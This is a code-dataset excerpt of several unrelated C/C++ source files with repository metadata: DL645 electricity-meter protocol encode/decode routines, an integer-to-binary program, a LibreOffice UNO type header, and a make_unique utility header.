int DL645_Decode_C032( void *appl, BYTE *buff )
{
EM_DIC032 *ptr = (EM_DIC032*)appl;
memcpy(ptr->host, buff, 6);
return 6;
}
// C033
int DL645_Encode_C033( BYTE *buff, void *appl )
{
EM_DIC033 *ptr = (EM_DIC033*)appl;
memcpy(buff, ptr->user, 6);
return 6;
}
int DL645_Decode_C033( void *appl, BYTE *buff )
{
EM_DIC033 *ptr = (EM_DIC033*)appl;
memcpy(ptr->user, buff, 6);
return 6;
}
// C034
int DL645_Encode_C034( BYTE *buff, void *appl )
{
EM_DIC034 *ptr = (EM_DIC034*)appl;
memcpy(buff, ptr->fcode, 6);
return 6;
}
int DL645_Decode_C034( void *appl, BYTE *buff )
{
EM_DIC034 *ptr = (EM_DIC034*)appl;
memcpy(ptr->fcode, buff, 6);
return 6;
}
//C03F
int DL645_Encode_C03F( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIC03F *ptr = (EM_DIC03F*)appl;
nPos += DL645_Encode_C030(&buff[nPos], &ptr->DIC030);
nPos += DL645_Encode_C031(&buff[nPos], &ptr->DIC031);
nPos += DL645_Encode_C032(&buff[nPos], &ptr->DIC032);
nPos += DL645_Encode_C033(&buff[nPos], &ptr->DIC033);
nPos += DL645_Encode_C034(&buff[nPos], &ptr->DIC034);
return nPos;
}
int DL645_Decode_C03F( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIC03F *ptr = (EM_DIC03F*)appl;
nPos += DL645_Decode_C030(&ptr->DIC030, &buff[nPos]);
nPos += DL645_Decode_C031(&ptr->DIC031, &buff[nPos]);
nPos += DL645_Decode_C032(&ptr->DIC032, &buff[nPos]);
nPos += DL645_Decode_C033(&ptr->DIC033, &buff[nPos]);
nPos += DL645_Decode_C034(&ptr->DIC034, &buff[nPos]);
return nPos;
}
// C111
int DL645_Encode_C111( BYTE *buff, void *appl )
{
EM_DIC111 *ptr = (EM_DIC111*)appl;
int nPos = 0;
hex2bcd(ptr->minutes, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C111( void *appl, BYTE *buff )
{
EM_DIC111 *ptr = (EM_DIC111*)appl;
int nPos = 0;
ptr->minutes = bcd2hex(buff[nPos++]);
return nPos;
}
// C112
int DL645_Encode_C112( BYTE *buff, void *appl )
{
EM_DIC112 *ptr = (EM_DIC112*)appl;
int nPos = 0;
hex2bcd(ptr->minutes, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C112( void *appl, BYTE *buff )
{
EM_DIC112 *ptr = (EM_DIC112*)appl;
int nPos = 0;
ptr->minutes = bcd2hex(buff[nPos++]);
return nPos;
}
// C113
int DL645_Encode_C113( BYTE *buff, void *appl )
{
EM_DIC113 *ptr = (EM_DIC113*)appl;
int nPos = 0;
hex2bcd(ptr->sec, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C113( void *appl, BYTE *buff )
{
EM_DIC113 *ptr = (EM_DIC113*)appl;
int nPos = 0;
ptr->sec = bcd2hex(buff[nPos++]);
return nPos;
}
// C114
int DL645_Encode_C114( BYTE *buff, void *appl )
{
EM_DIC114 *ptr = (EM_DIC114*)appl;
int nPos = 0;
hex2bcd(ptr->sec, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C114( void *appl, BYTE *buff )
{
EM_DIC114 *ptr = (EM_DIC114*)appl;
int nPos = 0;
ptr->sec = bcd2hex(buff[nPos++]);
return nPos;
}
// C115
int DL645_Encode_C115( BYTE *buff, void *appl )
{
EM_DIC115 *ptr = (EM_DIC115*)appl;
int nPos = 0;
hex2bcd(ptr->bits, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C115( void *appl, BYTE *buff )
{
EM_DIC115 *ptr = (EM_DIC115*)appl;
int nPos = 0;
ptr->bits = bcd2hex(buff[nPos++]);
return nPos;
}
// C116
int DL645_Encode_C116( BYTE *buff, void *appl )
{
EM_DIC116 *ptr = (EM_DIC116*)appl;
int nPos = 0;
hex2bcd(ptr->bits, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C116( void *appl, BYTE *buff )
{
EM_DIC116 *ptr = (EM_DIC116*)appl;
int nPos = 0;
ptr->bits = bcd2hex(buff[nPos++]);
return nPos;
}
// C117
int DL645_Encode_C117( BYTE *buff, void *appl )
{
EM_DIC117 *ptr = (EM_DIC117*)appl;
int nPos = 0;
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C117( void *appl, BYTE *buff )
{
EM_DIC117 *ptr = (EM_DIC117*)appl;
int nPos = 0;
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
return nPos;
}
// C118
int DL645_Encode_C118( BYTE *buff, void *appl )
{
EM_DIC118 *ptr = (EM_DIC118*)appl;
int nPos = 0;
hex2bcd(ptr->day, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C118( void *appl, BYTE *buff )
{
EM_DIC118 *ptr = (EM_DIC118*)appl;
int nPos = 0;
ptr->day = bcd2hex(buff[nPos++]);
return nPos;
}
// C119
int DL645_Encode_C119( BYTE *buff, void *appl )
{
EM_DIC119 *ptr = (EM_DIC119*)appl;
double2bcd(ptr->value, buff, 6, 2);
return 4;
}
int DL645_Decode_C119( void *appl, BYTE *buff )
{
EM_DIC119 *ptr = (EM_DIC119*)appl;
ptr->value = bcd2double(buff, 4, 2);
return 4;
}
// C11A
int DL645_Encode_C11A( BYTE *buff, void *appl )
{
EM_DIC11A *ptr = (EM_DIC11A*)appl;
double2bcd(ptr->value, buff, 6, 2);
return 4;
}
int DL645_Decode_C11A( void *appl, BYTE *buff )
{
EM_DIC11A *ptr = (EM_DIC11A*)appl;
ptr->value = bcd2double(buff, 4, 2);
return 4;
}
// C119_07
int DL645_07_Decode_C119( void *appl, BYTE *buff )
{
EM_DIC119 *ptr = (EM_DIC119*)appl;
ptr->value = bcd2double(buff, 3, 0);
return 3;
}
// C211
int DL645_Encode_C211( BYTE *buff, void *appl )
{
EM_DIC211 *ptr = (EM_DIC211*)appl;
word2bcd(ptr->ms, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_C211( void *appl, BYTE *buff )
{
EM_DIC211 *ptr = (EM_DIC211*)appl;
bcd2word(buff[0], buff[1], &ptr->ms);
return 2;
}
// C212
int DL645_Encode_C212( BYTE *buff, void *appl )
{
EM_DIC212 *ptr = (EM_DIC212*)appl;
for( int i = 0; i < 3; i++ )
{
hex2bcd(ptr->pass[i], &buff[i]);
}
return 3;
}
int DL645_Decode_C212( void *appl, BYTE *buff )
{
EM_DIC212 *ptr = (EM_DIC212*)appl;
for( int i = 0; i < 3; i++ )
{
ptr->pass[i] = bcd2hex(buff[i]);
}
return 3;
}
// C310
int DL645_Encode_C310( BYTE *buff, void *appl )
{
EM_DIC310 *ptr = (EM_DIC310*)appl;
int nPos = 0;
hex2bcd(ptr->num, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C310( void *appl, BYTE *buff )
{
EM_DIC310 *ptr = (EM_DIC310*)appl;
int nPos = 0;
ptr->num = bcd2hex(buff[nPos++]);
return nPos;
}
// C311
int DL645_Encode_C311( BYTE *buff, void *appl )
{
EM_DIC311 *ptr = (EM_DIC311*)appl;
int nPos = 0;
hex2bcd(ptr->num, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C311( void *appl, BYTE *buff )
{
EM_DIC311 *ptr = (EM_DIC311*)appl;
int nPos = 0;
ptr->num = bcd2hex(buff[nPos++]);
return nPos;
}
// C312
int DL645_Encode_C312( BYTE *buff, void *appl )
{
EM_DIC312 *ptr = (EM_DIC312*)appl;
int nPos = 0;
hex2bcd(ptr->num, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C312( void *appl, BYTE *buff )
{
EM_DIC312 *ptr = (EM_DIC312*)appl;
int nPos = 0;
ptr->num = bcd2hex(buff[nPos++]);
return nPos;
}
// C313
int DL645_Encode_C313( BYTE *buff, void *appl )
{
EM_DIC313 *ptr = (EM_DIC313*)appl;
int nPos = 0;
hex2bcd(ptr->num, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C313( void *appl, BYTE *buff )
{
EM_DIC313 *ptr = (EM_DIC313*)appl;
int nPos = 0;
ptr->num = bcd2hex(buff[nPos++]);
return nPos;
}
// C314
int DL645_Encode_C314( BYTE *buff, void *appl )
{
EM_DIC314 *ptr = (EM_DIC314*)appl;
int nPos = 0;
hex2bcd(ptr->num, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C314( void *appl, BYTE *buff )
{
EM_DIC314 *ptr = (EM_DIC314*)appl;
int nPos = 0;
ptr->num = bcd2hex(buff[nPos++]);
return nPos;
}
// C32P
int DL645_Encode_C32P( BYTE *buff, void *appl )
{
EM_DIC32P *ptr = (EM_DIC32P*)appl;
int nPos = 0;
hex2bcd(ptr->NN, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C32P( void *appl, BYTE *buff )
{
EM_DIC32P *ptr = (EM_DIC32P*)appl;
int nPos = 0;
ptr->NN = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
// C3QM
int DL645_Encode_C3QM( BYTE *buff, void *appl )
{
EM_DIC3QM *ptr = (EM_DIC3QM*)appl;
int nPos = 0;
hex2bcd(ptr->NN, &buff[nPos++]);
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C3QM( void *appl, BYTE *buff )
{
EM_DIC3QM *ptr = (EM_DIC3QM*)appl;
int nPos = 0;
ptr->NN = bcd2hex(buff[nPos++]);
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
return nPos;
}
// C3QF
int DL645_Encode_C3QF( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIC3QF *ptr = (EM_DIC3QF*)appl;
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[0]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[1]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[2]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[3]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[4]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[5]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[6]);
nPos += DL645_Encode_C3QM(&buff[nPos], &ptr->DIC3QM[7]);
return nPos;
}
int DL645_Decode_C3QF( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIC3QF *ptr = (EM_DIC3QF*)appl;
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[0], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[1], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[2], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[3], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[4], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[5], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[6], &buff[nPos]);
nPos += DL645_Decode_C3QM(&ptr->DIC3QM[7], &buff[nPos]);
return nPos;
}
// C41N
int DL645_Encode_C41N( BYTE *buff, void *appl )
{
EM_DIC41N *ptr = (EM_DIC41N*)appl;
int nPos = 0;
hex2bcd(ptr->NN, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C41N( void *appl, BYTE *buff )
{
EM_DIC41N *ptr = (EM_DIC41N*)appl;
int nPos = 0;
ptr->NN = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
// C41E
int DL645_Encode_C41E( BYTE *buff, void *appl )
{
EM_DIC41E *ptr = (EM_DIC41E*)appl;
int nPos = 0;
hex2bcd(ptr->NN, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C41E( void *appl, BYTE *buff )
{
EM_DIC41E *ptr = (EM_DIC41E*)appl;
int nPos = 0;
ptr->NN = bcd2hex(buff[nPos++]);
return nPos;
}
// C510
int DL645_Encode_C510( BYTE *buff, void *appl )
{
EM_DIC510 *ptr = (EM_DIC510*)appl;
int nPos = 0;
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
return nPos;
}
int DL645_Decode_C510( void *appl, BYTE *buff )
{
EM_DIC510 *ptr = (EM_DIC510*)appl;
int nPos = 0;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
return nPos;
}
// C511
int DL645_Encode_C511( BYTE *buff, void *appl )
{
EM_DIC511 *ptr = (EM_DIC511*)appl;
word2bcd(ptr->minute, &buff[0], &buff[1]);
return 2;
}
int DL645_Decode_C511( void *appl, BYTE *buff )
{
EM_DIC511 *ptr = (EM_DIC511*)appl;
bcd2word(buff[0], buff[1], &ptr->minute);
return 2;
}
// E207
int DL645_Encode_E207( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIE207 *ptr = (EM_DIE207*)appl;
nPos += DL645_Encode_C011(&buff[nPos], &ptr->DIC011);
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB630);
nPos += DL645_Encode_B630(&buff[nPos], &ptr->DIB640);
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB611);
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB612);
nPos += DL645_Encode_B611(&buff[nPos], &ptr->DIB613);
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB621);
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB622);
nPos += DL645_Encode_B621(&buff[nPos], &ptr->DIB623);
nPos += DL645_Encode_Axxx(&buff[nPos], &ptr->DIA010);
nPos += DL645_Encode_Axxx(&buff[nPos], &ptr->DIA020);
return nPos;
}
// E207
int DL645_Decode_E207( void *appl, BYTE *buff)
{
int nPos = 0;
EM_DIE207 *ptr = (EM_DIE207*)appl;
nPos += DL645_Decode_C011(&ptr->DIC011, &buff[nPos]);
nPos += DL645_Decode_B630(&ptr->DIB630, &buff[nPos]);
nPos += DL645_Decode_B630(&ptr->DIB640, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB611, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB612, &buff[nPos]);
nPos += DL645_Decode_B611(&ptr->DIB613, &buff[nPos]);
nPos += DL645_Decode_B621(&ptr->DIB621, &buff[nPos]);
nPos += DL645_Decode_B621(&ptr->DIB622, &buff[nPos]);
nPos += DL645_Decode_B621(&ptr->DIB623, &buff[nPos]);
nPos += DL645_Decode_Axxx(&ptr->DIA010, &buff[nPos]);
nPos += DL645_Decode_Axxx(&ptr->DIA020, &buff[nPos]);
return nPos;
}
// E209
int DL645_Encode_E209( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIE209 *ptr = (EM_DIE209*)appl;
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB661);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB662);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB663);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB664);
nPos += DL645_Encode_B660(&buff[nPos], &ptr->DIB665);
return nPos;
}
// E209
int DL645_Decode_E209( void *appl, BYTE *buff )
{
int nPos = 0;
EM_DIE209 *ptr = (EM_DIE209*)appl;
nPos += DL645_Decode_B660(&ptr->DIB661, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB662, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB663, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB664, &buff[nPos]);
nPos += DL645_Decode_B660(&ptr->DIB665, &buff[nPos]);
return nPos;
}
// E211
int DL645_Encode_E211( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIE211 *ptr = (EM_DIE211*)appl;
nPos += DL645_Encode_C011(&buff[nPos], &ptr->DIC011);
nPos += DL645_Encode_C010_HB(&buff[nPos], &ptr->DIC010);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9410);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9510);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9530);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9010);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9110);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9130);
for(BYTE i = 0; i < 16; i++)
{
buff[nPos++] = 0;
}
buff[nPos++] = ptr->DIC117;
return nPos;
}
// E211
int DL645_Decode_E211( void *appl, BYTE *buff)
{
int nPos = 0;
EM_DIE211 *ptr = (EM_DIE211*)appl;
nPos += DL645_Decode_C011(&ptr->DIC011, &buff[nPos]);
nPos += DL645_Decode_C010_HB(&ptr->DIC010, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9410, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9510, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9530, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9010, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9110, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9130, &buff[nPos]);
nPos += 16;
ptr->DIC117 = buff[nPos++];
return nPos;
}
// E221
int DL645_Encode_E221( BYTE *buff, void *appl )
{
int nPos = 0;
EM_DIE221 *ptr = (EM_DIE221*)appl;
nPos += DL645_Encode_C011(&buff[nPos], &ptr->DIC011);
nPos += DL645_Encode_C010_HB(&buff[nPos], &ptr->DIC010);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9410);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9510);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9530);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9010);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9110);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DI9130);
for(BYTE i = 0; i < 12; i++)
{
buff[nPos++] = 0;
}
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DIE401);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DIE402);
nPos += DL645_Encode_9xxx(&buff[nPos], &ptr->DIE403);
for(BYTE i = 0; i < 4; i++)
{
buff[nPos++] = 0;
}
buff[nPos++] = ptr->DIC117;
return nPos;
}
// E221
int DL645_Decode_E221( void *appl, BYTE *buff)
{
int nPos = 0;
EM_DIE221 *ptr = (EM_DIE221*)appl;
nPos += DL645_Decode_C011(&ptr->DIC011, &buff[nPos]);
nPos += DL645_Decode_C010_HB(&ptr->DIC010, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9410, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9510, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9530, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9010, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9110, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DI9130, &buff[nPos]);
nPos += 12;
nPos += DL645_Decode_9xxx(&ptr->DIE401, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DIE402, &buff[nPos]);
nPos += DL645_Decode_9xxx(&ptr->DIE403, &buff[nPos]);
nPos += 4;
ptr->DIC117 = buff[nPos++];
return nPos;
}
//D40B
int DL645_Encode_D40B( BYTE *buff, void *appl )
{
EM_DID40B *ptr = (EM_DID40B*)appl;
int nPos = 0;
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
hex2bcd(ptr->duminute, &buff[nPos++]);
hex2bcd(ptr->duhour, &buff[nPos++]);
hex2bcd(ptr->duday, &buff[nPos++]);
hex2bcd(ptr->dumonth, &buff[nPos++]);
return nPos;
}
int DL645_Decode_D40B( void *appl, BYTE *buff )
{
EM_DID40B *ptr = (EM_DID40B*)appl;
int nPos = 0;
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->duminute = bcd2hex(buff[nPos++]);
ptr->duhour = bcd2hex(buff[nPos++]);
ptr->duday = bcd2hex(buff[nPos++]);
ptr->dumonth = bcd2hex(buff[nPos++]);
return nPos;
}
//D40D
int DL645_Encode_D40D( BYTE *buff, void *appl )
{
EM_DID40D *ptr = (EM_DID40D*)appl;
word2bcd(ptr->times, &buff[0], &buff[1]);
word2bcd(ptr->dutimes, &buff[2], &buff[3]);
return 4;
}
int DL645_Decode_D40D( void *appl, BYTE *buff )
{
EM_DID40D *ptr = (EM_DID40D*)appl;
bcd2word(buff[0], buff[1], &ptr->times);
bcd2word(buff[2], buff[3], &ptr->dutimes);
return 4;
}
//D415
int DL645_Encode_D415( BYTE *buff, void *appl )
{
EM_DID415 *ptr = (EM_DID415*)appl;
int nPos = 0;
word2bcd(ptr->times, &buff[nPos++]);
hex2bcd(ptr->minute, &buff[nPos++]);
hex2bcd(ptr->hour, &buff[nPos++]);
hex2bcd(ptr->day, &buff[nPos++]);
hex2bcd(ptr->month, &buff[nPos++]);
hex2bcd(ptr->year, &buff[nPos++]);
return nPos;
}
int DL645_Decode_D415( void *appl, BYTE *buff )
{
EM_DID415 *ptr = (EM_DID415*)appl;
int nPos = 0;
ptr->times = bcd2word(buff[nPos++]);
ptr->minute = bcd2hex(buff[nPos++]);
ptr->hour = bcd2hex(buff[nPos++]);
ptr->day = bcd2hex(buff[nPos++]);
ptr->month = bcd2hex(buff[nPos++]);
ptr->year = bcd2hex(buff[nPos++]);
return nPos;
}
#endif
|
[
"dinglinhui@hotmail.com"
] |
dinglinhui@hotmail.com
|
1ca0cee952b00a52c0dafaab010e9a5326cc0fb5
|
7452457bf715cf50f251d086c5c9bfe0821b1538
|
/include/Furrovine++/make_unique.h
|
b0a96689061a5871aa387af305090ffd1a3b0e5e
|
[
"MIT"
] |
permissive
|
bananu7/Furropen
|
3d91c49b5b833f5f269cf5516a8f8c7cf1385cdc
|
968351c1268d8994116cd8312f067dd2cacdbf5b
|
refs/heads/master
| 2021-01-10T20:44:17.606000
| 2014-02-13T22:28:09
| 2014-02-13T22:28:09
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,413
|
h
|
#pragma once
#include <Furrovine++/std_defines.h>
#include <memory>
#include <type_traits>
#include <cstddef>
#include <Furrovine++/default_construct.h>
#include <Furrovine++/deleter_arg.h>
#include <Furrovine++/deleters.h>
namespace Furrovine {
namespace detail {
template <typename T, typename... Tn>
std::unique_ptr<T> make_unique( std::false_type, Tn&&... argn ) {
return std::unique_ptr<T>( new T( std::forward<Tn>( argn )... ) );
}
template <typename T, typename... Tn>
std::unique_ptr<T> make_unique( std::true_type, Tn&&... argn ) {
static_assert( std::extent<T>::value == 0,
"make_unique<T[N]>() is forbidden, please use make_unique<T[]>()." );
typedef typename std::remove_extent<T>::type U;
return std::unique_ptr<T>( new U[ sizeof...( Tn ) ]( std::forward<Tn>( argn )... ) );
}
template <typename T, typename TDx, typename... Tn>
std::unique_ptr<T, TDx> make_unique_deleter( std::false_type, Tn&&... argn ) {
return std::unique_ptr<T, TDx>( new T( std::forward<Tn>( argn )... ) );
}
template <typename T, typename TDx, typename... Tn>
std::unique_ptr<T, TDx> make_unique_deleter( std::true_type, Tn&&... argn ) {
static_assert( std::extent<T>::value == 0,
"make_unique<T[N]>() is forbidden, please use make_unique<T[]>()" );
typedef typename std::remove_extent<T>::type U;
return std::unique_ptr<T, TDx>( new U[ sizeof...( Tn ) ]( std::forward<Tn>( argn )... ) );
}
template <typename T, typename TAlloc, typename... Tn>
std::unique_ptr<T, allocator_deleter<TAlloc>> make_unique_allocator( std::false_type, TAlloc&& alloc, Tn&&... argn ) {
U* p = alloc.allocate( 1 );
alloc.construct( p, std::forward<Tn>( argn )... );
return p<T, allocator_deleter<TAlloc>>( p, allocator_deleter<TAlloc>( std::forward<TAlloc>( alloc ), 1 ) );
}
template <typename T, typename TAlloc, typename... Tn>
std::unique_ptr<T, allocator_deleter<TAlloc>> make_unique_allocator( std::true_type, TAlloc&& alloc, Tn&&... argn ) {
static_assert( std::extent<T>::value == 0,
"make_unique<T[N]>() is forbidden, please use make_unique<T[]>()" );
typedef typename std::remove_extent<T>::type U;
U* p = alloc.allocate( sizeof...( Tn ) );
cascading_construct( p, alloc, std::forward<Tn>( argn )... );
return p<T, allocator_deleter<TAlloc>>( p, allocator_deleter<TAlloc>( std::forward<TAlloc>( alloc ), sizeof...( Tn ) ) );
}
}
template <typename T, typename... Tn>
std::unique_ptr<T> make_unique( Tn&&... argn ) {
return detail::make_unique<T>( std::is_array<T>( ), std::forward<Tn>( argn )... );
}
template <typename T, typename TAlloc, typename... Tn>
std::unique_ptr<T, allocator_deleter<TAlloc>> make_unique( std::allocator_arg_t, TAlloc&& al, Tn&&... argn ) {
return detail::make_unique_allocator<T, TAlloc>( std::is_array<T>( ), std::forward<TAlloc>( al ), std::forward<Tn>( argn )... );
}
template <typename T, typename TDx, typename... Tn>
std::unique_ptr<T, TDx> make_unique( deleter_arg_t, TDx&& dx, Tn&&... argn ) {
return detail::make_unique_deleter<T, TDx>( std::is_array<T>( ), std::forward<TDx>( dx ), std::forward<Tn>( argn )... );
}
template <typename T, typename TDx, typename... Tn>
void unique_reset( std::unique_ptr<T, TDx>& p, Tn&&... argn ) {
p = make_unique<T>( std::forward<Tn>( argn )... );
}
}
|
[
"phdofthehouse@gmail.com"
] |
phdofthehouse@gmail.com
|
3cc53ccad0773d8e817a81de5b8918d529811dce
|
9f3c27148a98f3112064e5ea30e058e237f3a9e3
|
/백준/10829(이진수 변환).cpp
|
121a46a637456c4f2a2b4871a4bf652b0cebc431
|
[] |
no_license
|
sohyunwriter/algorithm
|
0d57a3b9f462f62c07fbf47979192290542ab374
|
9849b5ad2e43cd8f6bc1a6546f191f2945f561ea
|
refs/heads/master
| 2021-08-16T01:56:44.335848
| 2021-07-05T11:48:44
| 2021-07-05T11:48:44
| 235,090,595
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 422
|
cpp
|
//https://sohyunwriter.tistory.com/95
#include <iostream>
#include <vector>
#include <algorithm> //reverse
using namespace std;
vector<int> toBinary(long long n) {
vector<int> v;
while (n != 0) {
if (n % 2 == 0)
v.push_back(0);
else
v.push_back(1);
n /= 2;
}
reverse(v.begin(), v.end());
return v;
}
int main() {
long long N;
scanf("%lld", &N);
for (auto i : toBinary(N))
cout << i;
return 0;
}
|
[
"noreply@github.com"
] |
sohyunwriter.noreply@github.com
|
34ef456cee356351e86a40c63f4c5a5b818ca10f
|
046b675cb8529d1585a688f21563eb0209c94f19
|
/src/Control2012/libreoffice/com/sun/star/presentation/AnimationSpeed.hpp
|
d1d158178603d241c49f035ee23f77ced83dcbde
|
[] |
no_license
|
yoshi5534/schorsch-the-robot
|
a2a4bd35668600451e53bd8d7f879df90dcb9994
|
77eb8dcabaad5da3908d6b4b78a05985323f9ba4
|
refs/heads/master
| 2021-03-12T19:41:35.524173
| 2013-04-17T20:00:29
| 2013-04-17T20:00:29
| 32,867,962
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,194
|
hpp
|
#ifndef INCLUDED_COM_SUN_STAR_PRESENTATION_ANIMATIONSPEED_HPP
#define INCLUDED_COM_SUN_STAR_PRESENTATION_ANIMATIONSPEED_HPP
#include "sal/config.h"
#include "com/sun/star/presentation/AnimationSpeed.hdl"
#include "com/sun/star/uno/Type.hxx"
#include "cppu/unotype.hxx"
#include "osl/mutex.hxx"
namespace com { namespace sun { namespace star { namespace presentation {
inline ::com::sun::star::uno::Type const & cppu_detail_getUnoType(::com::sun::star::presentation::AnimationSpeed const *) {
static typelib_TypeDescriptionReference * the_type = 0;
if ( !the_type )
{
typelib_static_enum_type_init( &the_type,
"com.sun.star.presentation.AnimationSpeed",
::com::sun::star::presentation::AnimationSpeed_SLOW );
}
return * reinterpret_cast< ::com::sun::star::uno::Type * >( &the_type );
}
} } } }
inline ::com::sun::star::uno::Type const & SAL_CALL getCppuType(::com::sun::star::presentation::AnimationSpeed const *) SAL_THROW(()) {
return ::cppu::UnoType< ::com::sun::star::presentation::AnimationSpeed >::get();
}
#endif // INCLUDED_COM_SUN_STAR_PRESENTATION_ANIMATIONSPEED_HPP
|
[
"schorsch@localhost"
] |
schorsch@localhost
|
15a6f16deb19ec109fbfa6ef9b7e6d001ff9cd8f
|
3b9b4049a8e7d38b49e07bb752780b2f1d792851
|
/src/native_client/toolchain/linux_x86/pnacl_newlib/include/llvm/ExecutionEngine/RTDyldMemoryManager.h
|
207bad06c23965cf8e421e918ecc370ff77c0509
|
[
"BSD-3-Clause",
"Apache-2.0",
"Zlib",
"Classpath-exception-2.0",
"BSD-Source-Code",
"LZMA-exception",
"LicenseRef-scancode-unicode",
"LGPL-3.0-only",
